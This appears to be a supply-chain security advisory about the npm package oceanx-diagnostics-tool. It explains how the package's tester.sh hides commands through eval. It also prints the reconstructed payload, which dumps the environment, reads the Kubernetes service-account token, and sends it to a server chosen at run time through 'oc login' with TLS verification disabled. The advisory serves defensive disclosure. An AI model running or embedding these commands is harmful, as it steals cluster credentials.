oceanx-diagnostics-tool@0.0.2
Malicious code in oceanx-diagnostics-tool (npm)
Analysis
Both published versions ship package/tester.sh, presented as a network/diagnostics helper, that reassembles and executes hidden shell commands at runtime. The script splits each command into 17 single-character variables, concatenates them and passes the result to eval, so the real commands never appear as literal strings in the file. Reconstructed, the payload runs three commands in order: it executes printenv to dump the process environment, it runs export DEBUG_FILE=$(cat /var/run/secrets/kubernetes[.]io/serviceaccount/token) to read the Kubernetes service-account bearer token from its standard in-cluster path, and it then runs ./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify, sending that token to a caller-controllable OpenShift server with TLS certificate verification disabled. The package's documentation describes benign hostname/HTTPS diagnostics, but the shipped JavaScript implements only a DNS/HTTP client that performs no hostname collection, so the fragmentation and eval block is the only credential-handling code in the tarball and has no diagnostic purpose. No C2 host is hardcoded: the exfiltration destination is supplied at run time through the SERV environment variable.
- analyzed by
- Leitwacht
- first seen
- Nov 19, 2026, 06:37 PM
- analyzed
- Nov 19, 2026, 06:40 PM
Related advisories
- oceanx-diagnostics-tool@0.0.1 same package
- tester-lm@0.0.1
- requester-lb@1.0.14
- requester-lb@1.0.13
- hyjui-klopa@1.0.0
- easysalon-tool@1.0.11
- @swirls/cli@0.1.149
- @swirls/cli@0.1.148
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.